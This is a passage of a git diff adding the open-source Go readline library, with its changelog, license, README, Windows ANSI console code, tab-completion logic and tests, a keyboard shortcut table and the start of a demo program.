`io.EOF`, this will privodes a shell-like user experience. +* Customable Interrupt/EOF prompt in `Config` +* [#17][17] Change atomic package to use 32bit function to let it runnable on arm 32bit devices +* Provides a new password user experience(`readline.ReadPasswordEx()`). + +### 1.0 - 2015-10-14 + +* Initial public release. + +[12]: https://github.com/chzyer/readline/pull/12 +[17]: https://github.com/chzyer/readline/pull/17 +[23]: https://github.com/chzyer/readline/pull/23 +[27]: https://github.com/chzyer/readline/pull/27 +[28]: https://github.com/chzyer/readline/pull/28 +[33]: https://github.com/chzyer/readline/pull/33 +[38]: https://github.com/chzyer/readline/pull/38 +[42]: https://github.com/chzyer/readline/pull/42 +[43]: https://github.com/chzyer/readline/pull/43 +[46]: https://github.com/chzyer/readline/pull/46 +[48]: https://github.com/chzyer/readline/pull/48 +[49]: https://github.com/chzyer/readline/pull/49 +[53]: https://github.com/chzyer/readline/pull/53 +[60]: https://github.com/chzyer/readline/pull/60 diff --git a/readline/LICENSE b/readline/LICENSE new file mode 100644 index 0000000..c9afab3 --- /dev/null +++ b/readline/LICENSE @@ -0,0 +1,22 @@ +The MIT License (MIT) + +Copyright (c) 2015 Chzyer + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. + diff --git a/readline/README.md b/readline/README.md new file mode 100644 index 0000000..fab974b --- /dev/null +++ b/readline/README.md @@ -0,0 +1,114 @@ +[![Build Status](https://travis-ci.org/chzyer/readline.svg?branch=master)](https://travis-ci.org/chzyer/readline) +[![Software License](https://img.shields.io/badge/license-MIT-brightgreen.svg)](LICENSE.md) +[![Version](https://img.shields.io/github/tag/chzyer/readline.svg)](https://github.com/chzyer/readline/releases) +[![GoDoc](https://godoc.org/github.com/chzyer/readline?status.svg)](https://godoc.org/github.com/chzyer/readline) +[![OpenCollective](https://opencollective.com/readline/badge/backers.svg)](#backers) +[![OpenCollective](https://opencollective.com/readline/badge/sponsors.svg)](#sponsors) + +

+ + + +

+ +A powerful readline library in `Linux` `macOS` `Windows` `Solaris` + +## Guide + +* [Demo](example/readline-demo/readline-demo.go) +* [Shortcut](doc/shortcut.md) + +## Repos using readline + +[![cockroachdb](https://img.shields.io/github/stars/cockroachdb/cockroach.svg?label=cockroachdb/cockroach)](https://github.com/cockroachdb/cockroach) +[![robertkrimen/otto](https://img.shields.io/github/stars/robertkrimen/otto.svg?label=robertkrimen/otto)](https://github.com/robertkrimen/otto) +[![empire](https://img.shields.io/github/stars/remind101/empire.svg?label=remind101/empire)](https://github.com/remind101/empire) +[![mehrdadrad/mylg](https://img.shields.io/github/stars/mehrdadrad/mylg.svg?label=mehrdadrad/mylg)](https://github.com/mehrdadrad/mylg) +[![knq/usql](https://img.shields.io/github/stars/knq/usql.svg?label=knq/usql)](https://github.com/knq/usql) +[![youtube/doorman](https://img.shields.io/github/stars/youtube/doorman.svg?label=youtube/doorman)](https://github.com/youtube/doorman) +[![bom-d-van/harp](https://img.shields.io/github/stars/bom-d-van/harp.svg?label=bom-d-van/harp)](https://github.com/bom-d-van/harp) +[![abiosoft/ishell](https://img.shields.io/github/stars/abiosoft/ishell.svg?label=abiosoft/ishell)](https://github.com/abiosoft/ishell) +[![Netflix/hal-9001](https://img.shields.io/github/stars/Netflix/hal-9001.svg?label=Netflix/hal-9001)](https://github.com/Netflix/hal-9001) +[![docker/go-p9p](https://img.shields.io/github/stars/docker/go-p9p.svg?label=docker/go-p9p)](https://github.com/docker/go-p9p) + + +## Feedback + +If you have any questions, please submit a github issue and any pull requests is welcomed :) + +* [https://twitter.com/chzyer](https://twitter.com/chzyer) +* [http://weibo.com/2145262190](http://weibo.com/2145262190) + + +## Backers + +Love Readline? Help me keep it alive by donating funds to cover project expenses!
+[[Become a backer](https://opencollective.com/readline#backer)] + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +## Sponsors + +Become a sponsor and get your logo here on our Github page. [[Become a sponsor](https://opencollective.com/readline#sponsor)] + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/readline/ansi_windows.go b/readline/ansi_windows.go new file mode 100644 index 0000000..63b908c --- /dev/null +++ b/readline/ansi_windows.go @@ -0,0 +1,249 @@ +// +build windows + +package readline + +import ( + "bufio" + "io" + "strconv" + "strings" + "sync" + "unicode/utf8" + "unsafe" +) + +const ( + _ = uint16(0) + COLOR_FBLUE = 0x0001 + COLOR_FGREEN = 0x0002 + COLOR_FRED = 0x0004 + COLOR_FINTENSITY = 0x0008 + + COLOR_BBLUE = 0x0010 + COLOR_BGREEN = 0x0020 + COLOR_BRED = 0x0040 + COLOR_BINTENSITY = 0x0080 + + COMMON_LVB_UNDERSCORE = 0x8000 + COMMON_LVB_BOLD = 0x0007 +) + +var ColorTableFg = []word{ + 0, // 30: Black + COLOR_FRED, // 31: Red + COLOR_FGREEN, // 32: Green + COLOR_FRED | COLOR_FGREEN, // 33: Yellow + COLOR_FBLUE, // 34: Blue + COLOR_FRED | COLOR_FBLUE, // 35: Magenta + COLOR_FGREEN | COLOR_FBLUE, // 36: Cyan + COLOR_FRED | COLOR_FBLUE | COLOR_FGREEN, // 37: White +} + +var ColorTableBg = []word{ + 0, // 40: Black + COLOR_BRED, // 41: Red + COLOR_BGREEN, // 42: Green + COLOR_BRED | COLOR_BGREEN, // 43: Yellow + COLOR_BBLUE, // 44: Blue + COLOR_BRED | COLOR_BBLUE, // 45: Magenta + COLOR_BGREEN | COLOR_BBLUE, // 46: Cyan + COLOR_BRED | COLOR_BBLUE | COLOR_BGREEN, // 47: White +} + +type ANSIWriter struct { + target io.Writer + wg sync.WaitGroup + ctx *ANSIWriterCtx + sync.Mutex +} + +func NewANSIWriter(w io.Writer) *ANSIWriter { + a := &ANSIWriter{ + target: w, + ctx: NewANSIWriterCtx(w), + } + return a +} + +func (a *ANSIWriter) Close() error { + a.wg.Wait() + return nil +} + +type ANSIWriterCtx struct { + isEsc bool + isEscSeq bool + arg []string + target *bufio.Writer + wantFlush bool +} + +func NewANSIWriterCtx(target io.Writer) *ANSIWriterCtx { + return &ANSIWriterCtx{ + target: bufio.NewWriter(target), + } +} + +func (a *ANSIWriterCtx) Flush() { + a.target.Flush() +} + +func (a *ANSIWriterCtx) process(r rune) bool { + if a.wantFlush { + if r == 0 || r == CharEsc { + a.wantFlush = false + a.target.Flush() + } + } + if a.isEscSeq { + a.isEscSeq = a.ioloopEscSeq(a.target, r, &a.arg) + return true + } + + switch r { + case CharEsc: + a.isEsc = true + case '[': + if a.isEsc { + a.arg = nil + a.isEscSeq = true + a.isEsc = false + break + } + fallthrough + default: + a.target.WriteRune(r) + a.wantFlush = true + } + return true +} + +func (a *ANSIWriterCtx) ioloopEscSeq(w *bufio.Writer, r rune, argptr *[]string) bool { + arg := *argptr + var err error + + if r >= 'A' && r <= 'D' { + count := short(GetInt(arg, 1)) + info, err := GetConsoleScreenBufferInfo() + if err != nil { + return false + } + switch r { + case 'A': // up + info.dwCursorPosition.y -= count + case 'B': // down + info.dwCursorPosition.y += count + case 'C': // right + info.dwCursorPosition.x += count + case 'D': // left + info.dwCursorPosition.x -= count + } + SetConsoleCursorPosition(&info.dwCursorPosition) + return false + } + + switch r { + case 'J': + killLines() + case 'K': + eraseLine() + case 'm': + color := word(0) + for _, item := range arg { + var c int + c, err = strconv.Atoi(item) + if err != nil { + w.WriteString("[" + strings.Join(arg, ";") + "m") + break + } + if c >= 30 && c < 40 { + color ^= COLOR_FINTENSITY + color |= ColorTableFg[c-30] + } else if c >= 40 && c < 50 { + color ^= COLOR_BINTENSITY + color |= ColorTableBg[c-40] + } else if c == 4 { + color |= COMMON_LVB_UNDERSCORE | ColorTableFg[7] + } else if c == 1 { + color |= COMMON_LVB_BOLD | COLOR_FINTENSITY + } else { // unknown code treat as reset + color = ColorTableFg[7] + } + } + if err != nil { + break + } + kernel.SetConsoleTextAttribute(stdout, uintptr(color)) + case '\007': // set title + case ';': + if len(arg) == 0 || arg[len(arg)-1] != "" { + arg = append(arg, "") + *argptr = arg + } + return true + default: + if len(arg) == 0 { + arg = append(arg, "") + } + arg[len(arg)-1] += string(r) + *argptr = arg + return true + } + *argptr = nil + return false +} + +func (a *ANSIWriter) Write(b []byte) (int, error) { + a.Lock() + defer a.Unlock() + + off := 0 + for len(b) > off { + r, size := utf8.DecodeRune(b[off:]) + if size == 0 { + return off, io.ErrShortWrite + } + off += size + a.ctx.process(r) + } + a.ctx.Flush() + return off, nil +} + +func killLines() error { + sbi, err := GetConsoleScreenBufferInfo() + if err != nil { + return err + } + + size := (sbi.dwCursorPosition.y - sbi.dwSize.y) * sbi.dwSize.x + size += sbi.dwCursorPosition.x + + var written int + kernel.FillConsoleOutputAttribute(stdout, uintptr(ColorTableFg[7]), + uintptr(size), + sbi.dwCursorPosition.ptr(), + uintptr(unsafe.Pointer(&written)), + ) + return kernel.FillConsoleOutputCharacterW(stdout, uintptr(' '), + uintptr(size), + sbi.dwCursorPosition.ptr(), + uintptr(unsafe.Pointer(&written)), + ) +} + +func eraseLine() error { + sbi, err := GetConsoleScreenBufferInfo() + if err != nil { + return err + } + + size := sbi.dwSize.x + sbi.dwCursorPosition.x = 0 + var written int + return kernel.FillConsoleOutputCharacterW(stdout, uintptr(' '), + uintptr(size), + sbi.dwCursorPosition.ptr(), + uintptr(unsafe.Pointer(&written)), + ) +} diff --git a/readline/complete.go b/readline/complete.go new file mode 100644 index 0000000..c08c994 --- /dev/null +++ b/readline/complete.go @@ -0,0 +1,285 @@ +package readline + +import ( + "bufio" + "bytes" + "fmt" + "io" +) + +type AutoCompleter interface { + // Readline will pass the whole line and current offset to it + // Completer need to pass all the candidates, and how long they shared the same characters in line + // Example: + // [go, git, git-shell, grep] + // Do("g", 1) => ["o", "it", "it-shell", "rep"], 1 + // Do("gi", 2) => ["t", "t-shell"], 2 + // Do("git", 3) => ["", "-shell"], 3 + Do(line []rune, pos int) (newLine [][]rune, length int) +} + +type TabCompleter struct{} + +func (t *TabCompleter) Do([]rune, int) ([][]rune, int) { + return [][]rune{[]rune("\t")}, 0 +} + +type opCompleter struct { + w io.Writer + op *Operation + width int + + inCompleteMode bool + inSelectMode bool + candidate [][]rune + candidateSource []rune + candidateOff int + candidateChoise int + candidateColNum int +} + +func newOpCompleter(w io.Writer, op *Operation, width int) *opCompleter { + return &opCompleter{ + w: w, + op: op, + width: width, + } +} + +func (o *opCompleter) doSelect() { + if len(o.candidate) == 1 { + o.op.buf.WriteRunes(o.candidate[0]) + o.ExitCompleteMode(false) + return + } + o.nextCandidate(1) + o.CompleteRefresh() +} + +func (o *opCompleter) nextCandidate(i int) { + o.candidateChoise += i + o.candidateChoise = o.candidateChoise % len(o.candidate) + if o.candidateChoise < 0 { + o.candidateChoise = len(o.candidate) + o.candidateChoise + } +} + +func (o *opCompleter) OnComplete() bool { + if o.width == 0 { + return false + } + if o.IsInCompleteSelectMode() { + o.doSelect() + return true + } + + buf := o.op.buf + rs := buf.Runes() + + if o.IsInCompleteMode() && o.candidateSource != nil && runes.Equal(rs, o.candidateSource) { + o.EnterCompleteSelectMode() + o.doSelect() + return true + } + + o.ExitCompleteSelectMode() + o.candidateSource = rs + newLines, offset := o.op.cfg.AutoComplete.Do(rs, buf.idx) + if len(newLines) == 0 { + o.ExitCompleteMode(false) + return true + } + + // only Aggregate candidates in non-complete mode + if !o.IsInCompleteMode() { + if len(newLines) == 1 { + buf.WriteRunes(newLines[0]) + o.ExitCompleteMode(false) + return true + } + + same, size := runes.Aggregate(newLines) + if size > 0 { + buf.WriteRunes(same) + o.ExitCompleteMode(false) + return true + } + } + + o.EnterCompleteMode(offset, newLines) + return true +} + +func (o *opCompleter) IsInCompleteSelectMode() bool { + return o.inSelectMode +} + +func (o *opCompleter) IsInCompleteMode() bool { + return o.inCompleteMode +} + +func (o *opCompleter) HandleCompleteSelect(r rune) bool { + next := true + switch r { + case CharEnter, CharCtrlJ: + next = false + o.op.buf.WriteRunes(o.op.candidate[o.op.candidateChoise]) + o.ExitCompleteMode(false) + case CharLineStart: + num := o.candidateChoise % o.candidateColNum + o.nextCandidate(-num) + case CharLineEnd: + num := o.candidateColNum - o.candidateChoise%o.candidateColNum - 1 + o.candidateChoise += num + if o.candidateChoise >= len(o.candidate) { + o.candidateChoise = len(o.candidate) - 1 + } + case CharBackspace: + o.ExitCompleteSelectMode() + next = false + case CharTab, CharForward: + o.doSelect() + case CharBell, CharInterrupt: + o.ExitCompleteMode(true) + next = false + case CharNext: + tmpChoise := o.candidateChoise + o.candidateColNum + if tmpChoise >= o.getMatrixSize() { + tmpChoise -= o.getMatrixSize() + } else if tmpChoise >= len(o.candidate) { + tmpChoise += o.candidateColNum + tmpChoise -= o.getMatrixSize() + } + o.candidateChoise = tmpChoise + case CharBackward: + o.nextCandidate(-1) + case CharPrev: + tmpChoise := o.candidateChoise - o.candidateColNum + if tmpChoise < 0 { + tmpChoise += o.getMatrixSize() + if tmpChoise >= len(o.candidate) { + tmpChoise -= o.candidateColNum + } + } + o.candidateChoise = tmpChoise + default: + next = false + o.ExitCompleteSelectMode() + } + if next { + o.CompleteRefresh() + return true + } + return false +} + +func (o *opCompleter) getMatrixSize() int { + line := len(o.candidate) / o.candidateColNum + if len(o.candidate)%o.candidateColNum != 0 { + line++ + } + return line * o.candidateColNum +} + +func (o *opCompleter) OnWidthChange(newWidth int) { + o.width = newWidth +} + +func (o *opCompleter) CompleteRefresh() { + if !o.inCompleteMode { + return + } + lineCnt := o.op.buf.CursorLineCount() + colWidth := 0 + for _, c := range o.candidate { + w := runes.WidthAll(c) + if w > colWidth { + colWidth = w + } + } + colWidth += o.candidateOff + 1 + same := o.op.buf.RuneSlice(-o.candidateOff) + + // -1 to avoid reach the end of line + width := o.width - 1 + colNum := width / colWidth + if colNum != 0 { + colWidth += (width - (colWidth * colNum)) / colNum + } + + o.candidateColNum = colNum + buf := bufio.NewWriter(o.w) + buf.Write(bytes.Repeat([]byte("\n"), lineCnt)) + + colIdx := 0 + lines := 1 + buf.WriteString("\033[J") + for idx, c := range o.candidate { + inSelect := idx == o.candidateChoise && o.IsInCompleteSelectMode() + if inSelect { + buf.WriteString("\033[30;47m") + } + buf.WriteString(string(same)) + buf.WriteString(string(c)) + buf.Write(bytes.Repeat([]byte(" "), colWidth-runes.WidthAll(c)-runes.WidthAll(same))) + + if inSelect { + buf.WriteString("\033[0m") + } + + colIdx++ + if colIdx == colNum { + buf.WriteString("\n") + lines++ + colIdx = 0 + } + } + + // move back + fmt.Fprintf(buf, "\033[%dA\r", lineCnt-1+lines) + fmt.Fprintf(buf, "\033[%dC", o.op.buf.idx+o.op.buf.PromptLen()) + buf.Flush() +} + +func (o *opCompleter) aggCandidate(candidate [][]rune) int { + offset := 0 + for i := 0; i < len(candidate[0]); i++ { + for j := 0; j < len(candidate)-1; j++ { + if i > len(candidate[j]) { + goto aggregate + } + if candidate[j][i] != candidate[j+1][i] { + goto aggregate + } + } + offset = i + } +aggregate: + return offset +} + +func (o *opCompleter) EnterCompleteSelectMode() { + o.inSelectMode = true + o.candidateChoise = -1 + o.CompleteRefresh() +} + +func (o *opCompleter) EnterCompleteMode(offset int, candidate [][]rune) { + o.inCompleteMode = true + o.candidate = candidate + o.candidateOff = offset + o.CompleteRefresh() +} + +func (o *opCompleter) ExitCompleteSelectMode() { + o.inSelectMode = false + o.candidate = nil + o.candidateChoise = -1 + o.candidateOff = -1 + o.candidateSource = nil +} + +func (o *opCompleter) ExitCompleteMode(revent bool) { + o.inCompleteMode = false + o.ExitCompleteSelectMode() +} diff --git a/readline/complete_helper.go b/readline/complete_helper.go new file mode 100644 index 0000000..58d7248 --- /dev/null +++ b/readline/complete_helper.go @@ -0,0 +1,165 @@ +package readline + +import ( + "bytes" + "strings" +) + +// Caller type for dynamic completion +type DynamicCompleteFunc func(string) []string + +type PrefixCompleterInterface interface { + Print(prefix string, level int, buf *bytes.Buffer) + Do(line []rune, pos int) (newLine [][]rune, length int) + GetName() []rune + GetChildren() []PrefixCompleterInterface + SetChildren(children []PrefixCompleterInterface) +} + +type DynamicPrefixCompleterInterface interface { + PrefixCompleterInterface + IsDynamic() bool + GetDynamicNames(line []rune) [][]rune +} + +type PrefixCompleter struct { + Name []rune + Dynamic bool + Callback DynamicCompleteFunc + Children []PrefixCompleterInterface +} + +func (p *PrefixCompleter) Tree(prefix string) string { + buf := bytes.NewBuffer(nil) + p.Print(prefix, 0, buf) + return buf.String() +} + +func Print(p PrefixCompleterInterface, prefix string, level int, buf *bytes.Buffer) { + if strings.TrimSpace(string(p.GetName())) != "" { + buf.WriteString(prefix) + if level > 0 { + buf.WriteString("├") + buf.WriteString(strings.Repeat("─", (level*4)-2)) + buf.WriteString(" ") + } + buf.WriteString(string(p.GetName()) + "\n") + level++ + } + for _, ch := range p.GetChildren() { + ch.Print(prefix, level, buf) + } +} + +func (p *PrefixCompleter) Print(prefix string, level int, buf *bytes.Buffer) { + Print(p, prefix, level, buf) +} + +func (p *PrefixCompleter) IsDynamic() bool { + return p.Dynamic +} + +func (p *PrefixCompleter) GetName() []rune { + return p.Name +} + +func (p *PrefixCompleter) GetDynamicNames(line []rune) [][]rune { + var names = [][]rune{} + for _, name := range p.Callback(string(line)) { + names = append(names, []rune(name+" ")) + } + return names +} + +func (p *PrefixCompleter) GetChildren() []PrefixCompleterInterface { + return p.Children +} + +func (p *PrefixCompleter) SetChildren(children []PrefixCompleterInterface) { + p.Children = children +} + +func NewPrefixCompleter(pc ...PrefixCompleterInterface) *PrefixCompleter { + return PcItem("", pc...) +} + +func PcItem(name string, pc ...PrefixCompleterInterface) *PrefixCompleter { + name += " " + return &PrefixCompleter{ + Name: []rune(name), + Dynamic: false, + Children: pc, + } +} + +func PcItemDynamic(callback DynamicCompleteFunc, pc ...PrefixCompleterInterface) *PrefixCompleter { + return &PrefixCompleter{ + Callback: callback, + Dynamic: true, + Children: pc, + } +} + +func (p *PrefixCompleter) Do(line []rune, pos int) (newLine [][]rune, offset int) { + return doInternal(p, line, pos, line) +} + +func Do(p PrefixCompleterInterface, line []rune, pos int) (newLine [][]rune, offset int) { + return doInternal(p, line, pos, line) +} + +func doInternal(p PrefixCompleterInterface, line []rune, pos int, origLine []rune) (newLine [][]rune, offset int) { + line = runes.TrimSpaceLeft(line[:pos]) + goNext := false + var lineCompleter PrefixCompleterInterface + for _, child := range p.GetChildren() { + childNames := make([][]rune, 1) + + childDynamic, ok := child.(DynamicPrefixCompleterInterface) + if ok && childDynamic.IsDynamic() { + childNames = childDynamic.GetDynamicNames(origLine) + } else { + childNames[0] = child.GetName() + } + + for _, childName := range childNames { + if len(line) >= len(childName) { + if runes.HasPrefix(line, childName) { + if len(line) == len(childName) { + newLine = append(newLine, []rune{' '}) + } else { + newLine = append(newLine, childName) + } + offset = len(childName) + lineCompleter = child + goNext = true + } + } else { + if runes.HasPrefix(childName, line) { + newLine = append(newLine, childName[len(line):]) + offset = len(line) + lineCompleter = child + } + } + } + } + + if len(newLine) != 1 { + return + } + + tmpLine := make([]rune, 0, len(line)) + for i := offset; i < len(line); i++ { + if line[i] == ' ' { + continue + } + + tmpLine = append(tmpLine, line[i:]...) + return doInternal(lineCompleter, tmpLine, len(tmpLine), origLine) + } + + if goNext { + return doInternal(lineCompleter, nil, 0, origLine) + } + return +} diff --git a/readline/complete_segment.go b/readline/complete_segment.go new file mode 100644 index 0000000..5ceadd8 --- /dev/null +++ b/readline/complete_segment.go @@ -0,0 +1,82 @@ +package readline + +type SegmentCompleter interface { + // a + // |- a1 + // |--- a11 + // |- a2 + // b + // input: + // DoTree([], 0) [a, b] + // DoTree([a], 1) [a] + // DoTree([a, ], 0) [a1, a2] + // DoTree([a, a], 1) [a1, a2] + // DoTree([a, a1], 2) [a1] + // DoTree([a, a1, ], 0) [a11] + // DoTree([a, a1, a], 1) [a11] + DoSegment([][]rune, int) [][]rune +} + +type dumpSegmentCompleter struct { + f func([][]rune, int) [][]rune +} + +func (d *dumpSegmentCompleter) DoSegment(segment [][]rune, n int) [][]rune { + return d.f(segment, n) +} + +func SegmentFunc(f func([][]rune, int) [][]rune) AutoCompleter { + return &SegmentComplete{&dumpSegmentCompleter{f}} +} + +func SegmentAutoComplete(completer SegmentCompleter) *SegmentComplete { + return &SegmentComplete{ + SegmentCompleter: completer, + } +} + +type SegmentComplete struct { + SegmentCompleter +} + +func RetSegment(segments [][]rune, cands [][]rune, idx int) ([][]rune, int) { + ret := make([][]rune, 0, len(cands)) + lastSegment := segments[len(segments)-1] + for _, cand := range cands { + if !runes.HasPrefix(cand, lastSegment) { + continue + } + ret = append(ret, cand[len(lastSegment):]) + } + return ret, idx +} + +func SplitSegment(line []rune, pos int) ([][]rune, int) { + segs := [][]rune{} + lastIdx := -1 + line = line[:pos] + pos = 0 + for idx, l := range line { + if l == ' ' { + pos = 0 + segs = append(segs, line[lastIdx+1:idx]) + lastIdx = idx + } else { + pos++ + } + } + segs = append(segs, line[lastIdx+1:]) + return segs, pos +} + +func (c *SegmentComplete) Do(line []rune, pos int) (newLine [][]rune, offset int) { + + segment, idx := SplitSegment(line, pos) + + cands := c.DoSegment(segment, idx) + newLine, offset = RetSegment(segment, cands, idx) + for idx := range newLine { + newLine[idx] = append(newLine[idx], ' ') + } + return newLine, offset +} diff --git a/readline/complete_segment_test.go b/readline/complete_segment_test.go new file mode 100644 index 0000000..73a828a --- /dev/null +++ b/readline/complete_segment_test.go @@ -0,0 +1,167 @@ +package readline + +import ( + "fmt" + "testing" + + "github.com/chzyer/test" +) + +func rs(s [][]rune) []string { + ret := make([]string, len(s)) + for idx, ss := range s { + ret[idx] = string(ss) + } + return ret +} + +func sr(s ...string) [][]rune { + ret := make([][]rune, len(s)) + for idx, ss := range s { + ret[idx] = []rune(ss) + } + return ret +} + +func TestRetSegment(t *testing.T) { + defer test.New(t) + // a + // |- a1 + // |--- a11 + // |--- a12 + // |- a2 + // |--- a21 + // b + // add + // adddomain + ret := []struct { + Segments [][]rune + Cands [][]rune + idx int + Ret [][]rune + pos int + }{ + {sr(""), sr("a", "b", "add", "adddomain"), 0, sr("a", "b", "add", "adddomain"), 0}, + {sr("a"), sr("a", "add", "adddomain"), 1, sr("", "dd", "dddomain"), 1}, + {sr("a", ""), sr("a1", "a2"), 0, sr("a1", "a2"), 0}, + {sr("a", "a"), sr("a1", "a2"), 1, sr("1", "2"), 1}, + {sr("a", "a1"), sr("a1"), 2, sr(""), 2}, + {sr("add"), sr("add", "adddomain"), 2, sr("", "domain"), 2}, + } + for idx, r := range ret { + ret, pos := RetSegment(r.Segments, r.Cands, r.idx) + test.Equal(ret, r.Ret, fmt.Errorf("%v", idx)) + test.Equal(pos, r.pos, fmt.Errorf("%v", idx)) + } +} + +func TestSplitSegment(t *testing.T) { + defer test.New(t) + // a + // |- a1 + // |--- a11 + // |--- a12 + // |- a2 + // |--- a21 + // b + ret := []struct { + Line string + Pos int + Segments [][]rune + Idx int + }{ + {"", 0, sr(""), 0}, + {"a", 1, sr("a"), 1}, + {"a ", 2, sr("a", ""), 0}, + {"a a", 3, sr("a", "a"), 1}, + {"a a1", 4, sr("a", "a1"), 2}, + {"a a1 ", 5, sr("a", "a1", ""), 0}, + } + + for i, r := range ret { + ret, idx := SplitSegment([]rune(r.Line), r.Pos) + test.Equal(rs(ret), rs(r.Segments), fmt.Errorf("%v", i)) + test.Equal(idx, r.Idx, fmt.Errorf("%v", i)) + } +} + +type Tree struct { + Name string + Children []Tree +} + +func TestSegmentCompleter(t *testing.T) { + defer test.New(t) + + tree := Tree{"", []Tree{ + {"a", []Tree{ + {"a1", []Tree{ + {"a11", nil}, + {"a12", nil}, + }}, + {"a2", []Tree{ + {"a21", nil}, + }}, + }}, + {"b", nil}, + {"route", []Tree{ + {"add", nil}, + {"adddomain", nil}, + }}, + }} + s := SegmentFunc(func(ret [][]rune, n int) [][]rune { + tree := tree + main: + for level := 0; level < len(ret)-1; { + name := string(ret[level]) + for _, t := range tree.Children { + if t.Name == name { + tree = t + level++ + continue main + } + } + } + + ret = make([][]rune, len(tree.Children)) + for idx, r := range tree.Children { + ret[idx] = []rune(r.Name) + } + return ret + }) + + // a + // |- a1 + // |--- a11 + // |--- a12 + // |- a2 + // |--- a21 + // b + ret := []struct { + Line string + Pos int + Ret [][]rune + Share int + }{ + {"", 0, sr("a", "b", "route"), 0}, + {"a", 1, sr(""), 1}, + {"a ", 2, sr("a1", "a2"), 0}, + {"a a", 3, sr("1", "2"), 1}, + {"a a1", 4, sr(""), 2}, + {"a a1 ", 5, sr("a11", "a12"), 0}, + {"a a1 a", 6, sr("11", "12"), 1}, + {"a a1 a1", 7, sr("1", "2"), 2}, + {"a a1 a11", 8, sr(""), 3}, + {"route add", 9, sr("", "domain"), 3}, + } + for _, r := range ret { + for idx, rr := range r.Ret { + r.Ret[idx] = append(rr, ' ') + } + } + for i, r := range ret { + newLine, length := s.Do([]rune(r.Line), r.Pos) + test.Equal(rs(newLine), rs(r.Ret), fmt.Errorf("%v", i)) + test.Equal(length, r.Share, fmt.Errorf("%v", i)) + } +} diff --git a/readline/doc/shortcut.md b/readline/doc/shortcut.md new file mode 100644 index 0000000..404f95d --- /dev/null +++ b/readline/doc/shortcut.md @@ -0,0 +1,62 @@ +## Readline Shortcut + +`Meta`+`B` means press `Esc` and `n` separately. +Users can change that in terminal simulator(i.e. iTerm2) to `Alt`+`B` +Notice: `Meta`+`B` is equals with `Alt`+`B` in windows. + +* Shortcut in normal mode + +| Shortcut | Comment | +| ------------------ | --------------------------------- | +| `Ctrl`+`A` | Beginning of line | +| `Ctrl`+`B` / `←` | Backward one character | +| `Meta`+`B` | Backward one word | +| `Ctrl`+`C` | Send io.EOF | +| `Ctrl`+`D` | Delete one character | +| `Meta`+`D` | Delete one word | +| `Ctrl`+`E` | End of line | +| `Ctrl`+`F` / `→` | Forward one character | +| `Meta`+`F` | Forward one word | +| `Ctrl`+`G` | Cancel | +| `Ctrl`+`H` | Delete previous character | +| `Ctrl`+`I` / `Tab` | Command line completion | +| `Ctrl`+`J` | Line feed | +| `Ctrl`+`K` | Cut text to the end of line | +| `Ctrl`+`L` | Clear screen | +| `Ctrl`+`M` | Same as Enter key | +| `Ctrl`+`N` / `↓` | Next line (in history) | +| `Ctrl`+`P` / `↑` | Prev line (in history) | +| `Ctrl`+`R` | Search backwards in history | +| `Ctrl`+`S` | Search forwards in history | +| `Ctrl`+`T` | Transpose characters | +| `Meta`+`T` | Transpose words (TODO) | +| `Ctrl`+`U` | Cut text to the beginning of line | +| `Ctrl`+`W` | Cut previous word | +| `Backspace` | Delete previous character | +| `Meta`+`Backspace` | Cut previous word | +| `Enter` | Line feed | + + +* Shortcut in Search Mode (`Ctrl`+`S` or `Ctrl`+`r` to enter this mode) + +| Shortcut | Comment | +| ----------------------- | --------------------------------------- | +| `Ctrl`+`S` | Search forwards in history | +| `Ctrl`+`R` | Search backwards in history | +| `Ctrl`+`C` / `Ctrl`+`G` | Exit Search Mode and revert the history | +| `Backspace` | Delete previous character | +| Other | Exit Search Mode | + +* Shortcut in Complete Select Mode (double `Tab` to enter this mode) + +| Shortcut | Comment | +| ----------------------- | ---------------------------------------- | +| `Ctrl`+`F` | Move Forward | +| `Ctrl`+`B` | Move Backward | +| `Ctrl`+`N` | Move to next line | +| `Ctrl`+`P` | Move to previous line | +| `Ctrl`+`A` | Move to the first candicate in current line | +| `Ctrl`+`E` | Move to the last candicate in current line | +| `Tab` / `Enter` | Use the word on cursor to complete | +| `Ctrl`+`C` / `Ctrl`+`G` | Exit Complete Select Mode | +| Other | Exit Complete Select Mode | \ No newline at end of file diff --git a/readline/example/readline-demo/readline-demo.go b/readline/example/readline-demo/readline-demo.go new file mode 100644 index 0000000..2b1daf7 --- /dev/null +++ b/readline/example/readline-demo/readline-demo.go @@ -0,0 +1,167 @@ +package main + +import ( + "fmt" + "io" + "io/ioutil" + "log" + "strconv" + "strings" + "time" + + "github.com/chzyer/readline" +) + +func usage(w io.Writer) { + io.WriteString(w, "commands:\n") + io.WriteString(w, completer.Tree(" ")) +} + +// Function constructor - constructs new function for listing given directory +func listFiles(path string) func(string) []string { + return func(line string) []string { + names := make([]string, 0) + files, _ := ioutil.ReadDir(path) + for _, f := range files { + names = append(names, f.Name()) + } + return names + } +} + +var completer = readline.NewPrefixCompleter( + readline.PcItem("mode", + readline.PcItem("vi"), + readline.PcItem("emacs"), + ), + readline.PcItem("login"), + readline.PcItem("say", + readline.PcItemDynamic(listFiles("./"), + readline.PcItem("with", + readline.PcItem("following"), + readline.PcItem("items"), + ), + ), + readline.PcItem("hello"), + readline.PcItem("bye"), + ), + readline.PcItem("setprompt"), + readline.PcItem("setpassword"), + readline.PcItem("bye"), + readline.PcItem("help"), + readline.PcItem("go", + readline.PcItem("build", readline.PcItem("-o"), readline.PcItem("-v")), + readline.PcItem("install", + readline.PcItem("-v"), + 